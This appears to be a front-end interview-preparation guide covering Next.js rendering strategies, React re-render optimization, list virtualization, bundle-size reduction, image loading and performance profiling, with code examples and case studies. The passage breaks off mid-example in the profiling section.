Rendering strategies:
- SSG (Static Site Generation): Pages are built at build time as static HTML. Fastest — served from CDN. Best for content that doesn't change often (blog posts, docs, marketing pages). Use
generateStaticParams(App Router) orgetStaticProps(Pages Router). - SSR (Server-Side Rendering): Pages are rendered on every request. HTML is generated on the server with fresh data. Best for personalized/dynamic content (dashboards, user profiles). Use dynamic rendering in App Router or
getServerSideProps(Pages Router). - ISR (Incremental Static Regeneration): Static pages that revalidate after a time period. Serves cached static HTML, then regenerates in background. Best of both worlds — static speed with near-real-time data. Use
revalidateoption. - CSR (Client-Side Rendering): Traditional React — render in browser via JavaScript. Use for highly interactive sections that don't need SEO (admin panels, dashboards behind auth).
App Router vs Pages Router:
- App Router (v13+): Server Components by default, layouts, streaming, parallel routes. The future of Next.js.
- Pages Router (legacy):
getStaticProps,getServerSideProps,getStaticPaths. Stable, well-documented, widely used.
// ═══════════════════════════════════════════
// APP ROUTER (Next.js 13+) — Recommended
// ═══════════════════════════════════════════
// ── SSG: Static page (default behavior) ──
// app/blog/[slug]/page.tsx
import { db } from "@/lib/db";
import { notFound } from "next/navigation";
// Generate static pages at build time
export async function generateStaticParams() {
const posts = await db.query("SELECT slug FROM posts WHERE published = true");
return posts.map(post => ({ slug: post.slug }));
// Generates: /blog/react-hooks, /blog/nextjs-guide, etc.
}
// This runs at BUILD TIME (SSG) — static HTML cached on CDN
export default async function BlogPost({ params }) {
const post = await db.query("SELECT * FROM posts WHERE slug = $1", [params.slug]);
if (!post) notFound();
return (
<article>
<h1>{post.title}</h1>
<time>{post.publishedAt}</time>
<div dangerouslySetInnerHTML={{ __html: post.content }} />
</article>
);
}
// ── ISR: Static + revalidation ──
// app/products/page.tsx
// Revalidate every 60 seconds — ISR
export const revalidate = 60; // seconds
export default async function ProductsPage() {
// First request: rendered and cached as static HTML
// After 60s: next request triggers background regeneration
// Stale page served instantly while fresh version builds
const products = await fetch("https://api.store.com/products", {
next: { revalidate: 60 }, // per-fetch revalidation
}).then(r => r.json());
return (
<div className="product-grid">
{products.map(p => <ProductCard key={p.id} product={p} />)}
</div>
);
}
// ── SSR: Dynamic rendering (per-request) ──
// app/dashboard/page.tsx
import { cookies } from "next/headers";
// Using cookies/headers makes the page dynamic (SSR)
export default async function Dashboard() {
const cookieStore = cookies();
const token = cookieStore.get("session")?.value;
const userData = await fetch("https://api.example.com/dashboard", {
headers: { Authorization: `Bearer ${token}` },
cache: "no-store", // force dynamic — no caching
}).then(r => r.json());
return (
<div>
<h1>Welcome, {userData.name}</h1>
<DashboardWidgets data={userData.widgets} />
</div>
);
}
// ── Streaming with Suspense ──
// app/dashboard/page.tsx
import { Suspense } from "react";
export default function DashboardPage() {
return (
<div>
<h1>Dashboard</h1>
{/* Header renders immediately */}
<Suspense fallback={<ChartSkeleton />}>
<RevenueChart /> {/* Streams in when data is ready */}
</Suspense>
<Suspense fallback={<TableSkeleton />}>
<RecentOrders /> {/* Streams independently */}
</Suspense>
</div>
);
}
// ═══════════════════════════════════════════
// PAGES ROUTER (Legacy — still widely used)
// ═══════════════════════════════════════════
// ── getStaticProps (SSG) ──
// pages/blog/[slug].tsx
export async function getStaticPaths() {
const posts = await fetchAllPosts();
return {
paths: posts.map(p => ({ params: { slug: p.slug } })),
fallback: "blocking", // SSR for unknown slugs, then cache
};
}
export async function getStaticProps({ params }) {
const post = await fetchPost(params.slug);
if (!post) return { notFound: true };
return {
props: { post },
revalidate: 3600, // ISR: regenerate every hour
};
}
// ── getServerSideProps (SSR) ──
// pages/dashboard.tsx
export async function getServerSideProps({ req }) {
const token = req.cookies.session;
const data = await fetchDashboard(token);
return { props: { data } };
}
// ── Comparison Table ──
// | Strategy | When Generated | Speed | Data Freshness | SEO | Use Case |
// |----------|----------------|-----------|----------------|-----|-----------------------|
// | SSG | Build time | Fastest | Stale | ✅ | Blog, docs, marketing |
// | ISR | Build + bg | Fast | Near-fresh | ✅ | E-commerce, news |
// | SSR | Every request | Slower | Always fresh | ✅ | Dashboard, personalized|
// | CSR | In browser | Slowest | Client-fetched | ❌ | Admin panels, SPAs |
An e-commerce site served 50,000 product pages via SSR — each request queried the database, taking 400ms TTFB. Switching to ISR with revalidate: 300 (5 minutes) meant pages were served from CDN in 30ms. When products were updated, the next visitor triggered background regeneration — the stale page was served instantly while the fresh version built. TTFB dropped 92%, server costs dropped 75% (CDN handled 98% of traffic), and SEO rankings improved due to faster page loads.
Candidates use SSR for everything or don't understand when to use each strategy:
// pages/about.tsx — About page NEVER changes
export async function getServerSideProps() {
const content = await fetchAboutContent();
return { props: { content } };
}
// ❌ Every visitor triggers a server render for identical content
// ❌ 400ms TTFB instead of 30ms from CDN
// ❌ Server load scales linearly with traffic// Static content → SSG (build once, serve forever)
// app/about/page.tsx — Server Component, no revalidate = static
export default async function About() {
const content = await fetchAboutContent();
return <div>{content}</div>;
}
// Served from CDN in 30ms, zero server load
// Frequently updated → ISR
export const revalidate = 300; // refresh every 5 min
// Personalized → SSR (dynamic)
// Uses cookies → automatically dynamic
const token = cookies().get("session");How does Next.js App Router handle layouts, loading states, and parallel routes?
A re-render happens when React calls your component function again to check if the UI needs to change. Re-renders are not inherently bad — React is fast at diffing. But unnecessary re-renders become a problem when they're frequent (every keystroke) and expensive (large component trees, heavy computations).
Common causes of unnecessary re-renders:
- Parent re-renders: When a parent re-renders, ALL children re-render — even if their props haven't changed.
- New object/array references:
style={{ color: "red" }}creates a new object on every render → child thinks props changed. - Inline functions:
onClick={() => handleClick(id)}creates a new function every render. - Context value changes: Every consumer re-renders when ANY part of the context value changes.
- State updates in parent: Unrelated state changes cause child re-renders.
Identification tools:
- React DevTools Profiler: Record renders, see which components re-rendered and why
- React DevTools highlight: Settings → "Highlight updates" — flashes borders on re-rendering components
- why-did-you-render: npm package that logs unnecessary re-renders to console
- console.log in component: Simple — if it logs, the component re-rendered
Fixes:
React.memo(): Memoize component — skip re-render if props haven't changeduseMemo(): Memoize expensive computed valuesuseCallback(): Memoize functions passed as props- Move state down: Keep state in the component that needs it
- Split Context: Separate frequently-changing values into their own Context
- Composition: Pass components as children instead of rendering them inside
// ── Problem: Unnecessary re-renders ──
function App() {
const [count, setCount] = useState(0);
const [theme, setTheme] = useState("light");
return (
<div>
<button onClick={() => setCount(c => c + 1)}>Count: {count}</button>
{/* ❌ ExpensiveList re-renders when count changes — even though it only uses theme! */}
<ExpensiveList theme={theme} items={generateItems()} />
</div>
);
}
// ── Fix 1: React.memo — skip re-render if props unchanged ──
const ExpensiveList = React.memo(function ExpensiveList({ theme, items }) {
console.log("ExpensiveList rendered"); // only logs when theme or items change
return (
<ul className={theme}>
{items.map(item => <li key={item.id}>{item.name}</li>)}
</ul>
);
});
// ⚠️ But memo alone won't help if you pass new references every render!
// ── Fix 2: useMemo + useCallback — stable references ──
function App() {
const [count, setCount] = useState(0);
const [theme, setTheme] = useState("light");
// ✅ Memoize the items array — same reference if dependencies don't change
const items = useMemo(() => generateItems(), []); // only computed once
// ✅ Memoize the callback — same reference across renders
const handleItemClick = useCallback((id) => {
console.log("Clicked:", id);
}, []);
return (
<div>
<button onClick={() => setCount(c => c + 1)}>Count: {count}</button>
{/* Now ExpensiveList skips re-render when count changes ✅ */}
<ExpensiveList theme={theme} items={items} onItemClick={handleItemClick} />
</div>
);
}
// ── Fix 3: Move state down — isolate re-renders ──
// ❌ Before: state in parent causes all children to re-render
function Page() {
const [searchQuery, setSearchQuery] = useState(""); // ← state here re-renders everything
return (
<div>
<SearchBar value={searchQuery} onChange={setSearchQuery} />
<Navigation /> {/* re-renders unnecessarily */}
<ExpensiveChart /> {/* re-renders unnecessarily */}
<Footer /> {/* re-renders unnecessarily */}
</div>
);
}
// ✅ After: extract stateful component — only SearchSection re-renders
function Page() {
return (
<div>
<SearchSection /> {/* state is inside — re-renders only this */}
<Navigation /> {/* never re-renders from search ✅ */}
<ExpensiveChart /> {/* never re-renders from search ✅ */}
<Footer /> {/* never re-renders from search ✅ */}
</div>
);
}
function SearchSection() {
const [searchQuery, setSearchQuery] = useState("");
return <SearchBar value={searchQuery} onChange={setSearchQuery} />;
}
// ── Fix 4: Composition — children as props ──
function Layout({ children }) {
const [scrollY, setScrollY] = useState(0);
useEffect(() => {
const onScroll = () => setScrollY(window.scrollY);
window.addEventListener("scroll", onScroll);
return () => window.removeEventListener("scroll", onScroll);
}, []);
return (
<div>
<Header shrink={scrollY > 100} />
{children} {/* ← children are created by parent, NOT re-created here */}
</div>
);
}
// Usage:
<Layout>
<ExpensiveContent /> {/* This does NOT re-render when scrollY changes! */}
</Layout>
// children is a prop — its reference is stable (created by Layout's parent)
A form builder app had 50 form fields on screen. Typing in any field caused ALL 50 fields to re-render (the form state lived in a parent). After profiling with React DevTools, the team: (1) wrapped each FormField in React.memo, (2) used useCallback for the onChange handlers, (3) switched from a single form state object to individual useRef values for uncontrolled fields. Typing latency dropped from 180ms to 8ms — a 22× improvement.
Candidates wrap everything in memo/useMemo without understanding when it helps:
const Child = React.memo(function Child({ style, onClick }) {
return <div style={style} onClick={onClick}>...</div>;
});
function Parent() {
return (
<Child
style={{ color: "red" }} // ❌ new object every render!
onClick={() => doSomething()} // ❌ new function every render!
/>
);
// memo is USELESS here — props are always "new"
}const Child = React.memo(function Child({ style, onClick }) {
return <div style={style} onClick={onClick}>...</div>;
});
function Parent() {
const style = useMemo(() => ({ color: "red" }), []);
const handleClick = useCallback(() => doSomething(), []);
return <Child style={style} onClick={handleClick} />;
// ✅ memo works — props are referentially stable
}How does the React Compiler (React Forget) aim to automate memoization?
Rendering thousands of DOM nodes at once is the #1 performance killer in React apps. A list of 10,000 items means 10,000+ DOM nodes, each consuming memory and slowing paint, scroll, and interaction.
Virtualization (windowing) solves this by only rendering items that are currently visible in the viewport — typically 20–50 items — while maintaining the scroll height as if all items exist. As the user scrolls, old items are removed from the DOM and new ones are added.
Popular libraries:
@tanstack/react-virtual(TanStack Virtual): Modern, headless, framework-agnostic. Most flexible — you control the rendering. Supports variable heights, horizontal/grid layouts.react-window: Lightweight (6KB), fixed and variable size lists/grids. Simple API.react-virtuoso: Feature-rich — grouped lists, tables, infinite scroll, reverse scroll (chat). Easiest to use.
Other strategies:
- Pagination: Load a fixed number of items per page (20-50). Simplest approach. Use URL params for SEO.
- Infinite scroll: Load more items as user scrolls near the bottom. Use
IntersectionObserveror TanStack Query'suseInfiniteQuery. - Memoize rows: Wrap list items in
React.memoto avoid re-rendering visible items on parent state changes.
// ── TanStack Virtual: Modern virtualization ──
import { useVirtualizer } from "@tanstack/react-virtual";
import { useRef } from "react";
function VirtualList({ items }) {
const parentRef = useRef(null);
const virtualizer = useVirtualizer({
count: items.length, // total items: e.g., 100,000
getScrollElement: () => parentRef.current,
estimateSize: () => 60, // estimated row height in px
overscan: 5, // render 5 extra items above/below viewport
});
return (
<div
ref={parentRef}
style={{ height: "600px", overflow: "auto" }}
>
{/* Total scrollable height — creates proper scrollbar */}
<div style={{ height: `${virtualizer.getTotalSize()}px`, position: "relative" }}>
{virtualizer.getVirtualItems().map(virtualRow => (
<div
key={virtualRow.key}
style={{
position: "absolute",
top: 0,
left: 0,
width: "100%",
height: `${virtualRow.size}px`,
transform: `translateY(${virtualRow.start}px)`,
}}
>
<ListItem item={items[virtualRow.index]} />
</div>
))}
</div>
</div>
);
// 100,000 items → only ~20 DOM nodes at any time!
}
// ── react-window: Simple fixed-size list ──
import { FixedSizeList } from "react-window";
function SimpleVirtualList({ items }) {
const Row = ({ index, style }) => (
<div style={style} className="list-row">
<span>{items[index].name}</span>
<span>{items[index].email}</span>
</div>
);
return (
<FixedSizeList
height={600} // viewport height
width="100%"
itemCount={items.length} // 50,000 items
itemSize={50} // each row = 50px
overscanCount={5}
>
{Row}
</FixedSizeList>
);
}
// ── Variable-size list (dynamic heights) ──
import { VariableSizeList } from "react-window";
function ChatMessages({ messages }) {
const getItemSize = (index) => {
// Calculate height based on message content length
const msg = messages[index];
return msg.text.length > 100 ? 120 : 60; // tall for long messages
};
const Row = ({ index, style }) => (
<div style={style} className={`message ${messages[index].sender}`}>
<p>{messages[index].text}</p>
<time>{messages[index].timestamp}</time>
</div>
);
return (
<VariableSizeList
height={500}
width="100%"
itemCount={messages.length}
itemSize={getItemSize}
>
{Row}
</VariableSizeList>
);
}
// ── Infinite Scroll with IntersectionObserver ──
function InfiniteList() {
const [items, setItems] = useState([]);
const [page, setPage] = useState(1);
const [hasMore, setHasMore] = useState(true);
const loaderRef = useRef(null);
useEffect(() => {
const observer = new IntersectionObserver(
([entry]) => {
if (entry.isIntersecting && hasMore) {
setPage(p => p + 1); // triggers fetch
}
},
{ threshold: 0.1 }
);
if (loaderRef.current) observer.observe(loaderRef.current);
return () => observer.disconnect();
}, [hasMore]);
useEffect(() => {
fetch(`/api/items?page=${page}&limit=20`)
.then(r => r.json())
.then(data => {
setItems(prev => [...prev, ...data.items]);
setHasMore(data.hasMore);
});
}, [page]);
return (
<div>
{items.map(item => <ItemCard key={item.id} item={item} />)}
{hasMore && <div ref={loaderRef} className="loader">Loading more...</div>}
</div>
);
}
A CRM app rendered 15,000 contact rows in a table. Initial render took 4.2 seconds and scrolling caused visible frame drops (12 FPS). Switching to @tanstack/react-virtual reduced DOM nodes from 15,000 to 30 (visible rows + overscan). Initial render dropped to 50ms, scrolling was butter-smooth at 60 FPS, and memory usage went from 380MB to 45MB. The team also added React.memo to each row component to prevent re-renders when the search filter updated.
Candidates render all items and try to optimize with memo alone:
function UserList({ users }) {
// 10,000 users → 10,000 DOM nodes → 3+ second render
return (
<div style={{ height: "600px", overflow: "auto" }}>
{users.map(user => (
<UserRow key={user.id} user={user} />
))}
</div>
);
}
// React.memo on UserRow helps with RE-renders but not INITIAL render
// The DOM still has 10,000 nodes → slow paint, high memoryfunction UserList({ users }) {
const parentRef = useRef(null);
const virtualizer = useVirtualizer({
count: users.length, // 10,000 users
getScrollElement: () => parentRef.current,
estimateSize: () => 50,
overscan: 5,
});
return (
<div ref={parentRef} style={{ height: "600px", overflow: "auto" }}>
<div style={{ height: virtualizer.getTotalSize() }}>
{virtualizer.getVirtualItems().map(row => (
<UserRow key={row.key} user={users[row.index]}
style={{ transform: \`translateY(\${row.start}px)\` }} />
))}
</div>
</div>
);
// Only ~25 DOM nodes regardless of list size!
}How do you handle virtualized lists with dynamic row heights that aren't known in advance?
Bundle size directly impacts load time — every KB of JavaScript must be downloaded, parsed, and executed before users see your app. Reducing bundle size is one of the highest-impact performance optimizations.
Key strategies:
- Code splitting: Split your app into smaller chunks loaded on demand.
React.lazy()+Suspensefor route-based splitting. Dynamicimport()for feature-based splitting. - Tree shaking: Webpack/Vite eliminate unused exports. Use ES modules (
import/export), not CommonJS (require). Import specifically:import { debounce } from "lodash-es"notimport _ from "lodash". - Analyze bundles: Use
webpack-bundle-analyzerorsource-map-explorerto visualize what's in your bundle and find heavy dependencies. - Replace heavy libraries:
date-fns(tree-shakeable) instead ofmoment.js(300KB).clsx(228B) instead ofclassnames(1KB). NativeIntlAPI instead of i18n libraries for simple formatting. - Lazy load below-the-fold: Don't load components/images that aren't visible on initial render.
- Compression: Enable Gzip/Brotli on the server. Brotli compresses 15-25% better than Gzip.
Performance budgets: Set limits — e.g., initial JS bundle < 200KB gzipped. Fail CI builds that exceed the budget. Lighthouse CI can automate this.
// ── Code Splitting: Route-based (most impactful) ──
import { lazy, Suspense } from "react";
import { Routes, Route } from "react-router-dom";
// Each route loads its own chunk — only downloaded when visited
const Home = lazy(() => import("./pages/Home"));
const Dashboard = lazy(() => import("./pages/Dashboard"));
const Settings = lazy(() => import("./pages/Settings"));
const AdminPanel = lazy(() => import("./pages/AdminPanel"));
function App() {
return (
<Suspense fallback={<PageSkeleton />}>
<Routes>
<Route path="/" element={<Home />} />
<Route path="/dashboard" element={<Dashboard />} />
<Route path="/settings" element={<Settings />} />
<Route path="/admin" element={<AdminPanel />} />
</Routes>
</Suspense>
);
}
// Initial bundle: only shared code + Home page
// Dashboard JS downloaded only when user navigates to /dashboard
// ── Feature-based splitting: Heavy components ──
function ProductPage({ productId }) {
const [showReviews, setShowReviews] = useState(false);
// Reviews component has a rich text editor + charts (200KB)
// Only load when user clicks "Show Reviews"
const ReviewSection = lazy(() => import("./ReviewSection"));
return (
<div>
<ProductDetails id={productId} />
<button onClick={() => setShowReviews(true)}>Show Reviews</button>
{showReviews && (
<Suspense fallback={<ReviewsSkeleton />}>
<ReviewSection productId={productId} />
</Suspense>
)}
</div>
);
}
// ── Tree shaking: Import only what you need ──
// ❌ Imports entire library (300KB for moment, 70KB for lodash)
import moment from "moment";
import _ from "lodash";
// ✅ Import specific functions (tree-shakeable)
import { format, addDays } from "date-fns"; // only used functions (~3KB)
import { debounce } from "lodash-es"; // only debounce (~1KB)
// Or even better — write your own debounce (10 lines)
// ── Bundle Analysis: Find what's heavy ──
// package.json:
// "scripts": {
// "analyze": "npx webpack-bundle-analyzer build/stats.json"
// "build:stats": "GENERATE_SOURCEMAP=true react-scripts build"
// }
//
// Or with source-map-explorer:
// npx source-map-explorer build/static/js/*.js
// ── Dynamic imports for conditional features ──
async function exportToPDF(data) {
// jspdf is 200KB — only loaded when user clicks "Export PDF"
const { jsPDF } = await import("jspdf");
const doc = new jsPDF();
doc.text(data.title, 10, 10);
doc.save("report.pdf");
}
// ── Barrel file optimization ──
// ❌ components/index.ts re-exports everything
// import { Button } from "@/components"; // pulls in ALL components
// ✅ Direct imports
// import { Button } from "@/components/Button"; // only Button's code
// ── Next.js automatic optimizations ──
// next.config.js
module.exports = {
// Automatic code splitting per page
// Automatic tree shaking
// Automatic polyfill loading
experimental: {
optimizePackageImports: ["@heroicons/react", "lucide-react"],
// ↑ Auto-rewrites barrel imports to direct imports
},
};
A React SPA had a 1.8MB JavaScript bundle — 6-second load on 3G. Bundle analysis revealed: moment.js (300KB with locales), lodash (72KB full import), an unused chart.js imported on every page, and no code splitting. After optimization: replaced moment with date-fns (tree-shaken to 8KB), switched to lodash-es with named imports, lazy-loaded charts, and added route-based code splitting. Bundle dropped from 1.8MB to 280KB — 84% reduction. Time-to-Interactive on 3G went from 12s to 3.2s.
Candidates import entire libraries or skip code splitting:
// ❌ Full library imports
import moment from "moment"; // +300KB
import _ from "lodash"; // +72KB
import * as Icons from "lucide-react"; // +200KB (every icon)
// ❌ No code splitting — entire app in one bundle
import Home from "./pages/Home";
import Dashboard from "./pages/Dashboard";
import AdminPanel from "./pages/AdminPanel"; // only 2% of users visit
// ALL page code downloaded on first visit, even pages user never opens// ✅ Named imports — only pull what you use
import { format } from "date-fns"; // ~3KB
import { debounce } from "lodash-es"; // ~1KB
import { Search, Menu } from "lucide-react"; // ~2KB (2 icons)
// ✅ Route-based code splitting
const Dashboard = lazy(() => import("./pages/Dashboard"));
const AdminPanel = lazy(() => import("./pages/AdminPanel"));
// AdminPanel JS only downloaded when an admin navigates thereHow do you set up and enforce a performance budget in your CI/CD pipeline?
Images are typically the heaviest assets on a web page — often 50-90% of total page weight. Efficient image handling is critical for performance, especially on mobile and slow networks.
Image optimization strategies:
- Lazy loading: Load images only when they enter (or approach) the viewport. Native:
<img loading="lazy">. Programmatic:IntersectionObserver. Ensures above-the-fold images load immediately; below-the-fold images load on scroll. - Modern formats: Use WebP (25-35% smaller than JPEG) or AVIF (50% smaller). Use
<picture>element with fallbacks for browser compatibility. - Responsive images: Serve different sizes for different viewports.
srcset+sizesattributes let the browser choose the optimal size. - Next.js Image:
<Image>component auto-optimizes, lazy loads, generates srcset, serves WebP, and prevents layout shift with required width/height.
Skeleton screens: Show the page's layout with placeholder shapes (grey boxes/lines) while content loads. Better than spinners because they set expectations about what's coming and reduce perceived load time by 30-40%.
Layout shift prevention: Always set explicit width and height on images (or use aspect-ratio CSS) to reserve space before the image loads. This prevents Cumulative Layout Shift (CLS).
// ── Native Lazy Loading ──
function ProductGrid({ products }) {
return (
<div className="grid">
{products.map((product, index) => (
<div key={product.id} className="product-card">
<img
src={product.imageUrl}
alt={product.name}
width={300}
height={200}
loading={index < 4 ? "eager" : "lazy"} // first 4 load immediately
decoding="async" // don't block main thread
/>
<h3>{product.name}</h3>
<p>₹{product.price}</p>
</div>
))}
</div>
);
}
// ── Responsive Images with <picture> ──
function HeroImage({ src, alt }) {
return (
<picture>
{/* Browser picks the best format it supports */}
<source srcSet={`${src}.avif`} type="image/avif" />
<source srcSet={`${src}.webp`} type="image/webp" />
<img
src={`${src}.jpg`} // fallback
alt={alt}
width={1200}
height={600}
loading="eager" // hero image — load immediately
fetchPriority="high" // tell browser this is important
style={{ width: "100%", height: "auto" }}
/>
</picture>
);
}
// ── srcset: Serve optimal size per viewport ──
function ResponsiveImage({ src, alt }) {
return (
<img
src={`${src}-800.jpg`} // default
srcSet={`
${src}-400.jpg 400w,
${src}-800.jpg 800w,
${src}-1200.jpg 1200w,
${src}-1600.jpg 1600w
`}
sizes="(max-width: 640px) 100vw, (max-width: 1024px) 50vw, 33vw"
alt={alt}
loading="lazy"
width={800}
height={533}
/>
);
}
// ── Next.js Image Component (automatic optimization) ──
import Image from "next/image";
function ProductCard({ product }) {
return (
<div className="card">
<Image
src={product.imageUrl}
alt={product.name}
width={300}
height={200}
placeholder="blur" // show blurred version while loading
blurDataURL={product.blurHash} // tiny base64 blur placeholder
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 50vw, 33vw"
quality={75} // 75% quality — good balance
priority={false} // true for above-the-fold (LCP) images
/>
</div>
);
}
// ── Skeleton Screen Component ──
function Skeleton({ width, height, borderRadius = 4 }) {
return (
<div
className="skeleton"
style={{ width, height, borderRadius }}
aria-hidden="true"
/>
);
}
// CSS for skeleton animation:
// .skeleton {
// background: linear-gradient(90deg, #e0e0e0 25%, #f0f0f0 50%, #e0e0e0 75%);
// background-size: 200% 100%;
// animation: shimmer 1.5s ease-in-out infinite;
// }
// @keyframes shimmer {
// 0% { background-position: -200% 0; }
// 100% { background-position: 200% 0; }
// }
// ── Skeleton for a Product Card ──
function ProductCardSkeleton() {
return (
<div className="product-card">
<Skeleton width="100%" height={200} /> {/* image */}
<Skeleton width="80%" height={20} /> {/* title */}
<Skeleton width="40%" height={16} /> {/* price */}
<Skeleton width="60%" height={36} borderRadius={18} /> {/* button */}
</div>
);
}
// ── Usage with loading state ──
function ProductPage() {
const { data, isLoading } = useQuery({ queryKey: ["products"], queryFn: fetchProducts });
if (isLoading) {
return (
<div className="grid">
{Array.from({ length: 6 }).map((_, i) => (
<ProductCardSkeleton key={i} />
))}
</div>
);
}
return (
<div className="grid">
{data.map(product => <ProductCard key={product.id} product={product} />)}
</div>
);
}
// ── Progressive Image: blur → full resolution ──
function ProgressiveImage({ src, placeholder, alt, ...props }) {
const [loaded, setLoaded] = useState(false);
return (
<div className="progressive-image" style={{ position: "relative" }}>
{/* Tiny blurred placeholder (inline base64, ~200 bytes) */}
<img
src={placeholder}
alt=""
aria-hidden="true"
style={{
filter: "blur(20px)",
opacity: loaded ? 0 : 1,
transition: "opacity 0.3s",
position: "absolute", inset: 0,
width: "100%", height: "100%", objectFit: "cover",
}}
/>
{/* Full resolution image */}
<img
src={src}
alt={alt}
loading="lazy"
onLoad={() => setLoaded(true)}
style={{ opacity: loaded ? 1 : 0, transition: "opacity 0.3s" }}
{...props}
/>
</div>
);
}
An e-commerce category page loaded 60 product images (800×600 JPEG, ~120KB each = 7.2MB total). On mobile 4G, page load took 14 seconds. After optimization: (1) native loading="lazy" reduced initial image requests from 60 to 8, (2) WebP format reduced each image from 120KB to 35KB, (3) srcset served 400px-wide images on mobile (15KB each), and (4) skeleton screens showed instant layout while images loaded. Total initial payload dropped from 7.2MB to 120KB. LCP improved from 8.2s to 1.4s on mobile.
Candidates load all images eagerly without size attributes:
<div className="grid">
{products.map(p => (
// ❌ No lazy loading — all 60 images download immediately
// ❌ No width/height — causes layout shift (bad CLS)
// ❌ Full-size JPEG — 120KB each on mobile screens
<img src={p.image} alt={p.name} />
))}
</div>
// 7.2MB of images downloaded at once on page load
// Page jumps around as images load (layout shift)<div className="grid">
{products.map((p, i) => (
<picture key={p.id}>
<source srcSet={`${p.image}.webp`} type="image/webp" />
<img
src={p.image}
alt={p.name}
width={300} {/* ✅ prevents layout shift */}
height={200}
loading={i < 4 ? "eager" : "lazy"} {/* ✅ first row eager, rest lazy */}
decoding="async"
/>
</picture>
))}
</div>
{/* Only 4 images load initially (120KB), rest load on scroll */}How do you generate blur placeholders (LQIP / BlurHash) and integrate them with Next.js Image?
Performance profiling in React means measuring what renders, why it renders, and how long it takes. React provides built-in tools and third-party utilities to diagnose bottlenecks.
React DevTools Profiler (Chrome/Firefox extension):
- Flamegraph: Shows component render tree — width = render time. Tall, wide bars = slow components.
- Ranked chart: Components sorted by render time — find the slowest immediately.
- "Why did this render?": Enable in Profiler settings — shows if it was a state change, prop change, or parent re-render.
- Highlight updates: Settings → "Highlight updates when components render" — visual overlay of re-rendering components.
React Profiler API (programmatic):
<Profiler id="name" onRender={callback}>— wraps components, callsonRenderwith timing data (actual duration, base duration, phase).- Useful for production monitoring — send metrics to analytics.
why-did-you-render (npm package):
- Patches React to log unnecessary re-renders to console.
- Shows exactly which props/state changed and whether they're "deep equal" (same value, different reference).
- Development only — zero cost in production.
Chrome DevTools Performance tab:
- Record a session → see JavaScript execution, layout, paint, compositing in a timeline.
- Identify long tasks (>50ms), layout thrashing, and forced reflows.
// ── React DevTools Profiler (UI-based) ──
// 1. Install React DevTools browser extension
// 2. Open DevTools → "Profiler" tab
// 3. Click Record → interact with your app → Stop
// 4. Analyze:
// - Flamegraph: visual tree of component renders
// - Ranked: components sorted by render time
// - Each bar shows: component name, render duration, why it rendered
//
// Settings to enable:
// ⚙️ → "Record why each component rendered while profiling"
// ⚙️ → "Highlight updates when components render"
// ── React Profiler API (programmatic) ──
import { Profiler } from "react";
function onRenderCallback(
id, // "ProductList" — the Profiler id
phase, // "mount" | "update" — initial or re-render
actualDuration, // time spent rendering (ms)
baseDuration, // estimated time without memoization (ms)
startTime, // when React began rendering
commitTime // when React committed the update
) {
// Log slow renders
if (actualDuration > 16) { // > 1 frame (16ms at 60fps)
console.warn(`Slow render: ${id} took ${actualDuration.toFixed(2)}ms (${phase})`);
}
// Send to analytics in production
if (process.env.NODE_ENV === "production") {
sendToAnalytics({
component: id,
phase,
duration: actualDuration,
timestamp: commitTime,
});
}
}
function App() {
return (
<Profiler id="ProductList" onRender={onRenderCallback}>
<ProductList />
</Profiler>
);
}
// ── Nested Profilers for granular measurement ──
function Dashboard() {
return (
<div>
<Profiler id="RevenueChart" onRender={onRenderCallback}>
<RevenueChart />
</Profiler>
<Profiler id="OrdersTable" onRender={onRenderCallback}>
<OrdersTable />
</Profiler>
<Profiler id="UserActivity" onRender={onRenderCallback}>
<UserActivity />
</Profiler>
</div>
);
}
// ── why-did-you-render (development debugging) ──
// Step 1: Install
// npm install @welldone-software/why-did-you-render --save-dev
// Step 2: Setup (src/wdyr.js — import BEFORE React)
/// <reference types="@welldone-software/why-did-you-render" />
import React from "react";
if (process.env.NODE_ENV === "development") {
const whyDidYouRender = require("@welldone-software/why-did-you-render");
whyDidYouRender(React, {
trackAllPureComponents: true, // track all React.memo components
trackHooks: true, // track hook changes
logOnDifferentValues: false, // only log UNNECESSARY re-renders
});
}
// Step 3: Mark specific components to track
const ExpensiveList = React.memo(function ExpensiveList({ items, onItemClick }) {
return items.map(item => (
<div key={item.id} onClick={() => onItemClick(item.id)}>
{item.name}
</div>
));
});
ExpensiveList.whyDidYouRender = true; // ← enable tracking
// Console output when ExpensiveList re-renders unnecessarily:
// ┌──────────────────────────────────────────
// │ ExpensiveList
// │ Re-rendered because of props change:
// │ onItemClick: ƒ onClick() {} !== ƒ onClick() {}
// │ ↑ different function reference, same implementation
// │ → Fix: wrap in useCallback
// └──────────────────────────────────────────
// ── Performance measurement hooks ──
function useRenderCount(componentName) {
const renderCount = useRef(0);
renderCount.current += 1;
useEffect(() => {
console.log(`${componentName} rendered ${renderCount.current} times`);
});
}
function useRenderTime(componentName) {
const startTime = performance.now();
useEffect(() => {
const endTime = performance.now();
const duration = endTime - startTime;
if (duration > 16) {
console.warn(`${componentName} render: ${duration.toFixed(2)}ms`);
}
});
}
// Usage:
function ProductList({ items }) {
useRenderCount("ProductList");
useRenderTime("ProductList");
return items.map(item => <ProductCard key={item.id} item={item} />);
}
// ── Chrome DevTools Performance Tab ──
// 1. Open DevTools → Performance tab
// 2. Click Record → interact with your app → Stop
// 3. Look for:
// - Long Tasks (yellow bars > 50ms): indicates slow JavaScript
// - Layout (purple): forced reflows from reading DOM after writes
// - Paint (green): excessive repainting
// - "Timings" row: shows React commit phases
//
// Common findings:
// - Large component tree rendering on every keystroke
// - Layout thrashing: reading offsetHeight then setting style in a loop
// - Synchronous DOM measurements in useLayoutEffect
// ── Performance optimization workflow ──
// 1. MEASURE: Profile with React DevTools → find slow components
// 2. IDENTIFY: Use "why did this render?" to find the cause
// 3. FIX: Apply the appropriate optimization:
// - React.memo for prop-stable components
// - useMemo/useCallback for derived values/callbacks
// - Move state down or use composition
// - Virtualize long lists
// - Code-split heavy components
// 4. VERIFY: Profile again → confirm improvement
// 5. REPEAT: Focus on the next bottleneck
A dashboard with real-time data had a 200ms input lag in the search bar. Chrome DevTools Performance tab showed a 180ms "Scripting" block on every keystroke. React DevTools Profiler revealed that the DataGrid (2,000 rows) re-rendered on every keystroke — even though search results hadn't changed yet. why-did-you-render pinpointed the cause: the onRowClick callback was recreated on every parent render. Wrapping it in useCallback + adding React.memo to the grid reduced the scripting block from 180ms to 12ms. The Profiler API was then added to production to monitor p95 render times.
Candidates optimize without measuring or add useMemo everywhere "just in case":
// "Let me optimize everything just in case"
function ProductList({ products, category }) {
